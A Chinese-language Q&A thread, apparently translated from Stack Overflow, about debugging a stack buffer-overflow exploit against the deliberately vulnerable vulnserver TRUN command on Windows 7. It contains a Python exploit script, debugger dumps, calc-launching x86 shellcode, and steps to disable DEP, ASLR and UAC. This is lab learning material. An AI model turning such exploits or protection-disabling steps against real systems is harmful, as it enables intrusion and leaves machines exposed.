1

我以前曾在 Linux 中利用缓冲区溢出,对它的发生方式和原因以及针对它的保护(ASLR,DEP)有相当的了解。

最近在windows下试了一下,所以第一次google search显示利用vulnserver的TRUN命令,网址:https ://github.com/stephenbradshaw/vulnserver根据我的研究,在windows中你不能禁用ASLR但可以禁用程序的DEP通过Data Execution Preventionhttps://community.ipswitch.com/s/article/Understanding-Data-Execution-Prevention-in-Windows-1307565976900

在跳转到我的脚本之前,下面是执行我的漏洞利用后免疫调试器的部分:

堆栈部分:

0260F9C8  41 41 41 41 41 41 41 41  AAAAAAAA
0260F9D0  41 41 41 41 41 41 41 41  AAAAAAAA
0260F9D8  F9 F9 60 02 FF F9 60 02  ùù`ÿù`
0260F9E0  90 90 90 90 90 90 90 90  
0260F9E8  90 90 90 90 90 90 90 90  
0260F9F0  EB 02 BA C7 93 BF 77 FF  ëºÇ“¿wÿ
0260F9F8  D2 CC E8 F3 FF FF FF 63  ÒÌèóÿÿÿc
0260FA00  61 6C 63 43 43 43 43 43  alcCCCCC
0260FA08  43 43 43 43 43 43 43 43  CCCCCCCC
0260FA10  43 43 43 43 43 43 43 43  CCCCCCCC

CPU 寄存器

EAX 00000114
ECX 004E6444
EDX 77BF93C7
EBX 00D0F200 ASCII "TRUN /.:/AAAAAAAAAAAAAAAA...
ESP 00D0F9D8
EBP 41414141
ESI 00000000
EDI CCD2FF77
EIP 77BF93C7
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDA000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
           3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1        

跳转寄存器:

!mona find -s "\xff\xe4" -m essfunc.dll
Log data, item 11
Address=625011AF
Message=  0x625011af : "\xff\xe4" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\PenTest\Desktop\vulnserver-master\vulnserver-master\essfunc.dll)

最后我的脚本:

#!/usr/bin/python

import socket
import os
import sys

host="192.168.1.18"
port=9999

buf = "\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63";

buffer = "TRUN /.:/" + "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 16 +  buf + "C" * (5060 - 2003 - 4 - 16 - len(buf))

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

易受攻击的操作系统是 windows 7 企业版 64 位

我犯了一个错误吗?

4

2 回答 2

1

以下是准备 Windows 7 64 位的一些步骤,用于学习基本的漏洞利用开发。

禁用 UAC

转到用户帐户控制设置。输入 UAC,或转到系统和安全小程序。单击“更改用户帐户控制设置”链接。要关闭 UAC,请将滑块移动到从不通知位置,然后单击确定。

禁用 DEP

  1. 以“管理员”身份打开命令提示符</li>
  2. 然后,键入以下命令:

    bcdedit.exe /set {current} nx AlwaysOff

禁用 ASLR

  1. 打开 RegEdit(注册表编辑器)
  2. 找到这把钥匙:

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\内存管理]

  3. 创建一个新的 dword 值如下

    “MoveImages”=dword:00000000(不带引号)

  4. 重新启动系统。

于 2019-11-27T14:54:01.907 回答
0

必须为与我面临同样问题的其他人回答我自己的问题

我的 shell 代码适用于 x86 位架构,下面是适用于我的所有 Windows 计算器 shellcode。

"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7"
于 2019-08-03T21:06:47.027 回答